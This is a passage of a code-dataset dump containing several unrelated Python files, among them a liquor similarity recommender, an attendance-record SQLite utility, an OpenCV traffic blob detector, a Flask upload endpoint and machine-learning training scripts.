MinMax Scaling을 통한 데이터 정규화\n\n scaler = MinMaxScaler()\n scaleList = [\"도수(%)\", \"가격\", \"단맛\", \"산미\", \"탁도\", \"탄산감\", \"담백\",\n \"바디\", \"씁쓸\", \"화려\", \"스파이시\", \"고소\", \"신맛\", \"타닌\", \"향\"]\n drink_dataframe_without_literal[scaleList] = scaler.fit_transform(\n drink_dataframe_without_literal[scaleList])\n\n drink_datafrmae_with_normalization = drink_dataframe_without_literal[scaleList]\n\n # 피어슨&코사인 유사도 계산 dictionary\n similarity_dict = dict()\n\n # 피어스 유사도 추출 후 가장 항목이 높은 5가지 전통주 추천\n pearson_similarity_metrix = drink_datafrmae_with_normalization.T.corr(\n method=\"pearson\").to_numpy()\n index = indexList.index(keyword)-2\n\n topid = sorted(range(len(\n pearson_similarity_metrix[index])), key=lambda i: pearson_similarity_metrix[index][i])[-top:]\n recommendation_drink_of_contents_based_top_five = []\n for i in range(top-2, 0, -1):\n recommendation_drink_of_contents_based_top_five.append([np.array(indexList[2:])[\n topid][:-1][i], round(pearson_similarity_metrix[index][topid][:-1][i]*100, 3)])\n similarity_dict[\"pearson\"] = recommendation_drink_of_contents_based_top_five\n\n # 코사인 유사도 추출후 가장 항목이 높은 5가지 전통주 추천\n\n cosine_similarity_metrix = cosine_similarity(\n drink_datafrmae_with_normalization)\n\n # Test용 index 한개 similarity metrix의 행 번호\n index = indexList.index(keyword)-2\n\n topid = sorted(range(len(\n cosine_similarity_metrix[index])), key=lambda i: cosine_similarity_metrix[index][i])[-top:]\n recommendation_drink_of_contents_based_top_five = []\n for i in range(top-2, 0, -1):\n recommendation_drink_of_contents_based_top_five.append([np.array(indexList[2:])[\n topid][:-1][i], round(cosine_similarity_metrix[index][topid][:-1][i]*100, 3)])\n similarity_dict[\"cosine\"] = recommendation_drink_of_contents_based_top_five\n return similarity_dict\n", "sub_path": "sub2/backend/backend/RecommendationSystem/Content_Based_Recommendation.py", "file_name": "Content_Based_Recommendation.py", "file_ext": "py", "file_size_in_byte": 6275, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "pandas.read_excel", "line_number": 13, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.MinMaxScaler", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 60, "usage_type": "call"}, {"api_name": "sklearn.metrics.pairwise.cosine_similarity", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 76, "usage_type": "call"}]} +{"seq_id": "613314873", "text": "# 导入库\nimport pandas as pd \n# 导入数据\ndf = pd.read_csv('../data/weibo.csv', header=None, names=['name', 'number', 'day'])\ndf.head() \ndf.shape\nfrom datetime import datetime\n\ndef transform_day(x): \n x = '2020年' + x \n date_format = datetime.strptime(x, '%Y年%m月%d日')\n return datetime.strftime(date_format, '%Y-%m-%d') \n \n \ndf['day'] = df.day.apply(transform_day)\ndf.head() \n\n# 筛选数据\n# df_sel = df[df['day'] >= '2020-10-02']\n# df_sel.head() \n\ndf_resuluts = pd.pivot_table(data=df, \n index='name', \n columns='day', \n values='number', \n aggfunc='mean', \n fill_value=0\n )\ndf_resuluts.head() \ndf_resuluts.to_csv('../data/df_resuluts.csv') \n", "sub_path": "演员请就位2代码+数据/代码/可视化动态图.py", "file_name": "可视化动态图.py", "file_ext": "py", "file_size_in_byte": 836, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "pandas.read_csv", "line_number": 4, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 11, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 11, "usage_type": "name"}, {"api_name": "datetime.datetime.strftime", "line_number": 12, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 12, "usage_type": "name"}, {"api_name": "pandas.pivot_table", "line_number": 22, "usage_type": "call"}]} +{"seq_id": "537420343", "text": "from pandas import read_excel, read_sql\nfrom sqlite3 import connect\nfrom openpyxl import load_workbook\nfrom datetime import datetime, timedelta\nfrom logUtil import init_logging\nlogger = init_logging()\n\n\nclass PdUtilV2(object):\n def __init__(self):\n self.db = 'atthelper.db'\n\n def db_operator(self, sql, op):\n \"\"\"\n 数据库操作，\n :param sql: sql语句\n :param op: 操作类型， s：查询， iu：insert update\n :return: query result or None\n \"\"\"\n logger.info('SQL语句为: %s' % sql)\n conn = connect(self.db)\n cursor = conn.cursor()\n res = ''\n if 's' == op:\n logger.info('走查询流程-------------------------')\n res = cursor.execute(sql).fetchall()\n logger.info('SQL查询结果为: %s' % res)\n elif 'iu' == op:\n logger.info('走insert、update流程-------------------------')\n cursor.execute(sql)\n conn.commit()\n res = None\n cursor.close()\n conn.close()\n return res\n\n def read_excel_to_sqlite(self, excel, sheet):\n \"\"\"\n 将excel读取到sqlite\n :param excel: excel路径\n :param sheet: 工作表名称\n :return: 无\n \"\"\"\n df = read_excel(io=excel, sheet_name=sheet, header=0, engine='openpyxl')\n engine = connect(self.db)\n df.to_sql(name='attendance', con=engine, if_exists='replace')\n\n def update_yesterday(self, atttuple):\n \"\"\"\n 将当天打卡时间早于5点的打卡数据作为头一天的下班打卡记录\n :param atttuple:\n :return:\n \"\"\"\n # 将传入的日期减一，并只取日期\n to_datetime = datetime.strptime(atttuple[-1], '%Y-%m-%d %H:%M:%S') + timedelta(days=-1)\n yesterday = to_datetime.date()\n logger.info('头一天的日期为: %s' % yesterday)\n\n # 查询传入的人员头一天的考勤记录sql\n yesterday_his_sql = \"select name, service, end from attendance_result where name='{name}' and service='{service}' and strftime('%Y-%m-%d', end) = '{yest}';\".format(\n name=atttuple[0], service=atttuple[1], yest=yesterday)\n query_res = self.db_operator(sql=yesterday_his_sql, op='s')\n logger.info('头一天的考勤记录查询结果为: %s' % query_res)\n\n if len(query_res) == 1:\n update_sql = \"update attendance_result set end='{endtime}' where name='{name}' and service='{service}' and strftime('%Y-%m-%d %H:%M:%S', end)='{attime}';\".format(\n endtime=atttuple[-1], name=atttuple[0], service=atttuple[1], attime=query_res[0][-1])\n self.db_operator(sql=update_sql, op='iu')\n else:\n logger.error('头一天的考勤记录查询结果不唯一')\n\n def deal_bf5(self):\n bf5_sql = \"select name, service, start from attendance_result where strftime('%H', start) < '05';\"\n res = self.db_operator(sql=bf5_sql, op='s')\n\n # [('剁椒', 'Z00003', '2021-09-08 04:19:31')]\n if res is not None and len(res) != 0:\n for i in range(len(res)):\n self.update_yesterday(res[i])\n\n def deal_to_result_table(self):\n \"\"\"\n 查同时有上班打卡和下班打开记录的考勤信息\n :param excel:\n :param sheetname:\n :return:\n \"\"\"\n sql = \"\"\"select t2.name, t2.company, t2.service, t2.start, t2.end, t2.terminal, t2.attdate\n from (select t.name, t.company, t.service, min(t.atttime) as start, max(t.atttime) as end, t.terminal, strftime('%Y-%m-%d', t.atttime) as attdate\n from attendance t\n group by name, strftime('%Y%m%d', t.atttime)\n order by name) t2\n order by name;\"\"\"\n\n engine = connect(self.db)\n df = read_sql(sql=sql, con=engine)\n df.to_sql(name='attendance_result', con=engine, if_exists='replace')\n\n def update_start_or_end(self):\n \"\"\"\n 更新只有一次打卡记录的数据\n 早于18点按上班打卡处理\n 晚于18点按下班打卡处理\n :return:\n \"\"\"\n conn = connect(self.db)\n cursor = conn.cursor()\n update_start = \"\"\"update attendance_result set start=null where start=end and strftime('%H', start) >= 18;\"\"\"\n update_end = \"\"\"update attendance_result set end=null where start=end and strftime('%H', start)<18;\"\"\"\n\n self.db_operator(sql=update_start, op='iu')\n self.db_operator(sql=update_end, op='iu')\n\n def write_to_excel(self, excel, sheetname='打卡记录', startrow=1):\n sql = \"\"\"select t2.name as 姓名, t2.company as 公司, t2.service as 外包服务编号, t2.start as 上班时间, t2.end as 下班时间, t2.terminal as 终端, t2.attdate as 打卡日期\n from attendance_result t2\n order by t2.name;\"\"\"\n\n conn = connect(self.db)\n\n df = read_sql(sql=sql, con=conn)\n df.to_excel(excel_writer=excel, sheet_name=sheetname)\n\n\nif __name__ == '__main__':\n pd2 = PdUtilV2()\n pd2.deal_bf5()", "sub_path": "pdUtilV2.py", "file_name": "pdUtilV2.py", "file_ext": "py", "file_size_in_byte": 5051, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "logUtil.init_logging", "line_number": 6, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 21, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 44, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 45, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 55, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 55, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 55, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 95, "usage_type": "call"}, {"api_name": "pandas.read_sql", "line_number": 96, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 106, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 119, "usage_type": "call"}, {"api_name": "pandas.read_sql", "line_number": 121, "usage_type": "call"}]} +{"seq_id": "242206413", "text": "import secrets\nimport string\nfrom database import EPSDatabase\n\n\nclass Account():\n def __init__(self):\n\n self.ban = 0\n self.pin = 0\n self.balance = 0.0\n self.counter = 0\n self.choice = \"\"\n\n def create_pin(self):\n pin = \"\"\n while len(pin) != 4:\n pin = ''.join((secrets.choice(string.digits) for i in range(4)))\n self.pin = pin\n return self.pin\n\n def create_number(self):\n number = EPSDatabase.hightest().fetchall()\n if number != None:\n if len(number) != 0:\n number = int(number[0][0])\n self.counter = number\n curr = 0\n for value in EPSDatabase.print_table().fetchall():\n if int(value[0]) > curr:\n curr = int(value[0])\n print(curr)\n \n ban = self.counter+1\n ban = str(ban)\n ban = ban.zfill(8)\n self.ban = ban\n return self.ban\n\n def show_balance(self):\n # print(self.balance)\n return self.balance\n\n\nif __name__ == \"__main__\":\n\n a = Account()\n print(a.create_number())\n print(a.create_pin())\n print(f\"Your Current Balance: {a.show_balance()}€\")\n\n #print(f\"Your Current Balance: {a.show_balance()}€\")\n", "sub_path": "Teilschritt3/eps_base.py", "file_name": "eps_base.py", "file_ext": "py", "file_size_in_byte": 1257, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "secrets.choice", "line_number": 18, "usage_type": "call"}, {"api_name": "string.digits", "line_number": 18, "usage_type": "attribute"}, {"api_name": "database.EPSDatabase.hightest", "line_number": 23, "usage_type": "call"}, {"api_name": "database.EPSDatabase", "line_number": 23, "usage_type": "name"}, {"api_name": "database.EPSDatabase.print_table", "line_number": 29, "usage_type": "call"}, {"api_name": "database.EPSDatabase", "line_number": 29, "usage_type": "name"}]} +{"seq_id": "518396175", "text": "import json\nimport keyword\n\n\nclass ColorizeMixin(object):\n def __repr__(self):\n return f'\\033[0;{self.repr_color_code};49m {self.title} | {self.price} ₽\\033[0;39;48m'\n\nclass Object:\n def __init__(self, json_dict):\n for key, value in json_dict.items():\n if keyword.iskeyword(key):\n key += '_'\n if isinstance(value, dict):\n self.__dict__[key] = Object(value)\n else:\n self.__dict__[key] = value\n\n\nclass Advert():\n def __init__(self, json_str):\n json_dict = json.loads(json_str)\n self.__dict__ = Object(json_dict).__dict__\n self.repr_color_code = 32\n\n title = self.__dict__.get('title', False)\n if not title:\n raise ValueError\n price = self.__dict__.get('price', False)\n if not price:\n self._price = 0\n elif price < 0:\n raise ValueError\n else:\n self._price = price\n\n @property\n def price(self):\n return self._price\n\n @price.setter\n def price(self, new_price):\n if new_price < 0:\n raise ValueError\n else:\n self._price = new_price\n\n def __repr__(self):\n return f'{self.title} | {self.price} ₽'\n\n\nclass Advert_Color(ColorizeMixin, Advert):\n pass\n\n\n", "sub_path": "05-samoe-neobhodimoe-o-klassah/advert.py", "file_name": "advert.py", "file_ext": "py", "file_size_in_byte": 1321, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "keyword.iskeyword", "line_number": 12, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 22, "usage_type": "call"}]} +{"seq_id": "172930539", "text": "# Creates: Bi2Se3_bands.png\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom gpaw import GPAW\nfrom gpaw.spinorbit import get_spinorbit_eigenvalues, set_calculator\n\n#plt.rc('text', usetex=True)\n\ncalc1 = GPAW('Bi2Te3_bands.gpw', txt=None)\ncalc2 = GPAW('gs_Bi2Te3.gpw', txt=None)\nx = np.loadtxt('kpath.dat')\nX = np.loadtxt('highsym.dat')\n\n# No spin-orbit\n\nef = calc2.get_fermi_level()\ne_kn = np.array([calc1.get_eigenvalues(kpt=k)\n for k in range(len(calc1.get_ibz_k_points()))])\ne_nk = e_kn.T\ne_nk -= ef\n\nfor e_k in e_nk:\n plt.plot(x, e_k, '--', c='0.5')\n\n# Spin-orbit calculation\n\ne_nk = get_spinorbit_eigenvalues(calc2)\nset_calculator(calc2, e_nk.T)\nef = calc2.get_fermi_level()\ne_nk = get_spinorbit_eigenvalues(calc1, scale=1.0)\ne_nk -= ef\n\nplt.xticks(X, [r'$\\Gamma$', 'Z', 'F', r'$\\Gamma$', 'L'], size=24)\nplt.yticks(size=20)\nfor i in range(len(X))[1:-1]:\n plt.plot(2 * [X[i]], [1.1 * np.min(e_nk), 1.1 * np.max(e_nk)],\n c='0.5', linewidth=0.5)\nfor e_k in e_nk:\n plt.plot(x, e_k, c='b')\nplt.ylabel(r'$\\varepsilon_n(k)$ [eV]', size=24)\nplt.axis([0, x[-1], -1.7, 1.7])\nplt.tight_layout()\n# plt.show()\nplt.savefig('Bi2Te3_bands.png')\n", "sub_path": "Bi2Te3_band/plot_Bi2Te3_bands.py", "file_name": "plot_Bi2Te3_bands.py", "file_ext": "py", "file_size_in_byte": 1177, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "gpaw.GPAW", "line_number": 9, "usage_type": "call"}, {"api_name": "gpaw.GPAW", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "gpaw.spinorbit.get_spinorbit_eigenvalues", "line_number": 27, "usage_type": "call"}, {"api_name": "gpaw.spinorbit.set_calculator", "line_number": 28, "usage_type": "call"}, {"api_name": "gpaw.spinorbit.get_spinorbit_eigenvalues", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "numpy.min", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}]} +{"seq_id": "392995405", "text": "## Simply outputs a video of bounding boxes\n\nimport cv2\nimport scipy as sp\nimport numpy as np\n\ncap = cv2.VideoCapture()\n#http://www.chart.state.md.us/video/video.php?feed=13015dbd01210075004d823633235daa\n#Use this until we find a better traffic camera\ncap.open('./highway/input/in%06d.jpg')\nw = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))\nh = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))\nout = cv2.VideoWriter('output.avi', cv2.VideoWriter_fourcc('X','V','I','D'), 60, (w,h), True)\n#bg subtractor\nfgbg = cv2.createBackgroundSubtractorKNN()\n#parameters for blob detector\nparams = cv2.SimpleBlobDetector_Params()\nparams.minThreshold = 0\nparams.maxThreshold = 123\nparams.filterByArea = True\nparams.minArea = 5\nparams.maxArea = 3384\nparams.filterByConvexity = True\nparams.minConvexity = 0.5622\ndetector = cv2.SimpleBlobDetector_create(params)\n\ncv2.namedWindow(\"Stream\", cv2.WINDOW_NORMAL)\ncv2.resizeWindow(\"Stream\", w, h)\n\nconfmat = np.zeros((2,2))\nscore = float(0)\nwhile(cap.isOpened()):\n ret, frame = cap.read()\n if ret == True:\n img1 = sp.zeros(frame.size, sp.uint8)\n img1 = frame\n #bg subtract\n img2 = fgbg.apply(frame)\n #invert image\n cv2.bitwise_not(img2, img2)\n #gaussian\n img2 = cv2.GaussianBlur(img2,(19, 19),6.5)\n #blob detect\n points = detector.detect(img2)\n #draw bounding boxes\n for p in points:\n x1 = int(p.pt[0]-p.size/2)\n y1 = int(p.pt[1]-p.size/2)\n x2 = int(p.pt[0]+p.size/2)\n y2 = int(p.pt[1]+p.size/2)\n cv2.rectangle(img1,(x1,y1),(x2,y2),(0,0,255),1)\n\n cv2.imshow(\"Stream\", img1)\n out.write(img1)\n #cv2.waitKey(67) waits for 0.067 seconds making this ~15fps\n #Stop loop with \"q\"\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n else: break\n\ncap.release()\nout.release()\ncv2.destroyAllWindows()\n", "sub_path": "createvid.py", "file_name": "createvid.py", "file_ext": "py", "file_size_in_byte": 1890, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "cv2.VideoCapture", "line_number": 7, "usage_type": "call"}, {"api_name": "cv2.CAP_PROP_FRAME_WIDTH", "line_number": 11, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_FRAME_HEIGHT", "line_number": 12, "usage_type": "attribute"}, {"api_name": "cv2.VideoWriter", "line_number": 13, "usage_type": "call"}, {"api_name": "cv2.VideoWriter_fourcc", "line_number": 13, "usage_type": "call"}, {"api_name": "cv2.createBackgroundSubtractorKNN", "line_number": 15, "usage_type": "call"}, {"api_name": "cv2.SimpleBlobDetector_Params", "line_number": 17, "usage_type": "call"}, {"api_name": "cv2.SimpleBlobDetector_create", "line_number": 25, "usage_type": "call"}, {"api_name": "cv2.namedWindow", "line_number": 27, "usage_type": "call"}, {"api_name": "cv2.WINDOW_NORMAL", "line_number": 27, "usage_type": "attribute"}, {"api_name": "cv2.resizeWindow", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 30, "usage_type": "call"}, {"api_name": "scipy.zeros", "line_number": 35, "usage_type": "call"}, {"api_name": "scipy.uint8", "line_number": 35, "usage_type": "attribute"}, {"api_name": "cv2.bitwise_not", "line_number": 40, "usage_type": "call"}, {"api_name": "cv2.GaussianBlur", "line_number": 42, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 51, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 53, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 57, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 63, "usage_type": "call"}]} +{"seq_id": "493244389", "text": "from flask import Flask, Response, request\nimport base64\nimport random\nfrom os import path\nfrom string import ascii_letters\nimport subprocess\n\napp = Flask(__name__)\n\nINPUT_PATH = \"/home/faebser/workspace/maps-backend/input\" # CHANGE THIS\nOUTPUT_PATH = \"/home/faebser/workspace/maps-backend/output\" # CHANGE THIS\nCOMMAND = \"cp {} {}\" # CHANGE THIS\n\n\n@app.route(\"/\", methods=['GET'])\ndef main():\n return app.send_static_file('index.html')\n\n\n@app.route(\"/sketch-me\", methods=[\"POST\"])\ndef sketch():\n image_string = request.get_json(force=True).get('img', None)\n if image_string is None:\n return Response(\"property img missing in json\", status=500)\n\n image_data = base64.b64decode(image_string)\n file_name = \"\".join([random.choice(ascii_letters) for _ in range(0, 40)]) + \".jpeg\"\n input_path = path.join(INPUT_PATH, file_name)\n output_path = path.join(OUTPUT_PATH, file_name)\n with open(input_path, 'wb') as f:\n f.write(image_data)\n\n # this will block\n process = subprocess.Popen(COMMAND.format(input_path, output_path).split(), stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n output, error = process.communicate()\n if error is not None and error != '':\n return Response(str(error), status=500)\n else:\n return Response(output_path)\n\nif __name__ == \"__main__\":\n app.run(processes=5)", "sub_path": "backend/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1349, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "flask.Flask", "line_number": 8, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 22, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 22, "usage_type": "name"}, {"api_name": "flask.Response", "line_number": 24, "usage_type": "call"}, {"api_name": "base64.b64decode", "line_number": 26, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 27, "usage_type": "call"}, {"api_name": "string.ascii_letters", "line_number": 27, "usage_type": "argument"}, {"api_name": "os.path.join", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "name"}, {"api_name": "subprocess.Popen", "line_number": 34, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 34, "usage_type": "attribute"}, {"api_name": "flask.Response", "line_number": 37, "usage_type": "call"}, {"api_name": "flask.Response", "line_number": 39, "usage_type": "call"}]} +{"seq_id": "440878629", "text": "from numpy import *\nimport matplotlib.pyplot as plt\n\nx = arange(0., 10, 0.3)\na = sin(x)\nb = cos(x)\nc = exp(x/10); d = exp(-x/10)\nplt.plot(x, a, 'b-', label='sine')\nplt.plot(x, b, 'r--', label='cosine')\nplt.plot(x, c, 'c-.', label='exp(+x)')\nplt.plot(x, d, 'gx-', linewidth=1.5, label='exp(-x)')\nplt.legend(loc='upper le]')\nplt.grid()\nplt.xlabel('x-axis')\nplt.ylabel('y-axis')\nplt.pause(1)\nplt.show()\n", "sub_path": "src/csx_433_3/__class_2__.py", "file_name": "__class_2__.py", "file_ext": "py", "file_size_in_byte": 400, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "matplotlib.pyplot.plot", "line_number": 8, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 8, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 9, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 9, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 10, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 10, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 11, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 11, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 12, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 12, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 13, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 13, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 14, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 14, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 15, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 15, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.pause", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 17, "usage_type": "name"}]} +{"seq_id": "284812872", "text": "from itertools import combinations as c\n\nn = int(input())\nif n <= 9:\n print(n)\nelif n >= 1023:\n print(-1)\nelse:\n count = 10\n for i in range(2, 11):\n for j in range(i-1, 10):\n sortlist = []\n for d in c([str(x) for x in range(j)], i-1):\n sortlist.append(''.join(reversed(d)))\n sortlist.sort()\n for num in sortlist:\n if count == n:\n print(str(j)+num)\n exit()\n count += 1\n", "sub_path": "1000-1999/1038/1038.py", "file_name": "1038.py", "file_ext": "py", "file_size_in_byte": 514, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "itertools.combinations", "line_number": 13, "usage_type": "call"}]} +{"seq_id": "201003692", "text": "import click\nimport gym\nimport tensorflow as tf\n\nfrom sac.networks import MlpAgent\nfrom sac.train import Trainer\n\n\ndef check_probability(ctx, param, value):\n if not (0 <= value <= 1):\n raise click.BadParameter(\"Param {} should be between 0 and 1\".format(value))\n return value\n\n\n@click.command()\n@click.option('--env', default='CartPole-v0')\n@click.option('--seed', default=0, type=int)\n@click.option('--n-layers', default=3, type=int)\n@click.option('--layer-size', default=256, type=int)\n@click.option('--learning-rate', default=3e-4, type=float)\n@click.option('--buffer-size', default=1e5, type=int)\n@click.option('--num-train-steps', default=1, type=int)\n@click.option('--batch-size', default=32, type=int)\n@click.option('--reward-scale', default=1., type=float)\n@click.option('--entropy-scale', default=1., type=float)\n@click.option('--logdir', default=None, type=str)\n@click.option('--save-path', default=None, type=str)\n@click.option('--load-path', default=None, type=str)\n@click.option('--render', is_flag=True)\ndef cli(env, seed, buffer_size, n_layers, layer_size, learning_rate, reward_scale,\n entropy_scale, batch_size, num_train_steps, logdir, save_path, load_path, render):\n Trainer(\n env=gym.make(env),\n base_agent=MlpAgent,\n seq_len=0,\n device_num=1,\n seed=seed,\n buffer_size=buffer_size,\n activation=tf.nn.relu,\n n_layers=n_layers,\n layer_size=layer_size,\n learning_rate=learning_rate,\n entropy_scale=entropy_scale,\n reward_scale=reward_scale,\n batch_size=batch_size,\n grad_clip=None,\n num_train_steps=num_train_steps)\n\n\nif __name__ == '__main__':\n cli()\n", "sub_path": "scripts/gym_env.py", "file_name": "gym_env.py", "file_ext": "py", "file_size_in_byte": 1700, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "click.BadParameter", "line_number": 11, "usage_type": "call"}, {"api_name": "sac.train.Trainer", "line_number": 32, "usage_type": "call"}, {"api_name": "gym.make", "line_number": 33, "usage_type": "call"}, {"api_name": "sac.networks.MlpAgent", "line_number": 34, "usage_type": "name"}, {"api_name": "tensorflow.nn", "line_number": 39, "usage_type": "attribute"}, {"api_name": "click.command", "line_number": 15, "usage_type": "call"}, {"api_name": "click.option", "line_number": 16, "usage_type": "call"}, {"api_name": "click.option", "line_number": 17, "usage_type": "call"}, {"api_name": "click.option", "line_number": 18, "usage_type": "call"}, {"api_name": "click.option", "line_number": 19, "usage_type": "call"}, {"api_name": "click.option", "line_number": 20, "usage_type": "call"}, {"api_name": "click.option", "line_number": 21, "usage_type": "call"}, {"api_name": "click.option", "line_number": 22, "usage_type": "call"}, {"api_name": "click.option", "line_number": 23, "usage_type": "call"}, {"api_name": "click.option", "line_number": 24, "usage_type": "call"}, {"api_name": "click.option", "line_number": 25, "usage_type": "call"}, {"api_name": "click.option", "line_number": 26, "usage_type": "call"}, {"api_name": "click.option", "line_number": 27, "usage_type": "call"}, {"api_name": "click.option", "line_number": 28, "usage_type": "call"}, {"api_name": "click.option", "line_number": 29, "usage_type": "call"}]} +{"seq_id": "102639054", "text": "import matplotlib.pyplot as plt\nimport torch\nimport PIL\nfrom torch import nn\nfrom torch import optim\nimport torch.nn.functional as F\nfrom torchvision import datasets, transforms, models\nimport json\nfrom PIL import Image\nimport Helper\nimport numpy as np\nimport seaborn as sns\nfrom collections import OrderedDict\nimport argparse\n\nparser = argparse.ArgumentParser()\n\ndata_dir = 'flowers'\ntrain_dir = data_dir + '/train'\nvalid_dir = data_dir + '/valid'\ntest_dir = data_dir + '/test'\n\n\n\nparser.add_argument('--hidden_layers',\n action='store',\n default=4096,\n type=int,\n help='Define the amount of hidden layers on the classifier structure')\n\nparser.add_argument('--learning_rate',\n action='store',\n default=0.001,\n type=float,\n help='Define learning rate gradient descent')\n\n\nparser.add_argument('--epochs',\n action='store',\n type=int,\n default=10,\n help='Define epochs for training')\n\nparser.add_argument('--gpu',\n action='store',\n dest='gpu',\n help='Use GPU for training')\n\n\nparser.add_argument('--save-dir',\n action='store',\n dest='save_dir',\n type=str,\n help='Set directory for the checkpoint, if not done all work will be lost')\n\nparser.add_argument('--arch',\n action='store',\n default='vgg16',\n help='Define which learning architectutre will be used')\n\nin_args=parser.parse_args()\narch =in_args.arch\nhidden_layers =in_args.hidden_layers\nepochs =in_args.epochs \nlearning_rate =in_args.learning_rate\ngpu=in_args.gpu\n\n \ntrain_transforms=transforms.Compose([transforms.RandomRotation(30),\n 